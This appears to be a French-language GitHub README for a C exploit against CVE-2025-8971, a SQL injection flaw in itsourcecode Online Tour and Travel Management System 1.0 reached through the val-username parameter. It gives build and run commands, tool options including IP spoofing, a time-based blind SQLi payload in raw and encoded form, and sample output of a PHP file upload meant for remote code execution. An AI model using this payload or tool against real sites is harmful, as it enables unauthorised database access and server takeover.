bytereaper77/cve-2025-8971Injection SQL dans itsourcecode Online Tour and Travel Management System 1.0.
Auteur : Byte Reaper
Cet exploit concerne CVE-2025-8971, une vulnérabilité d'injection SQL dans itsourcecode Online Tour and Travel Management System 1.0. La vulnérabilité se trouve dans /admin/operations/travellers.php et peut être exploitée à distance via le paramètre val-username.
Fonctionnement
L'exploit envoie des requêtes HTTP POST spécialement conçues à l'URL cible.
Les payloads sont encodés et injectés dans val-username.
Un téléchargement de fichier optionnel (.php ou image) peut être utilisé pour obtenir une exécution de code à distance.
Le script vérifie les réponses pour confirmer si le payload a été exécuté avec succès.
GCC compiler (gcc)
Linux x86_64
ibcurl
gcc script.c argparse.c -o CVE-2025-8971 -lcurl
./CVE-2025-8971 -u http://<target> -v [verbose mode]
-h, --help help message
-u, --url Target Url (BASE URL)
-c, --cookies File cookies
-i, --ip Fake Ip (Host request)
-f, --file File upload (.php / image)
-v, --verbose Verbose Mode
[+] Start encode Payload in Request (username=)
[+] Encode Payload : AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))bAKL)%20AND%20'b'='b'
[+] Original Payload (Not encode) : AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'b'='b'
[+] POST Request Sent
[+] FULL URL : http://127.0.0.1/code/admin/operations/travellers.php
[+] File Upload : test.php
[+] File written successfully
....
MIT License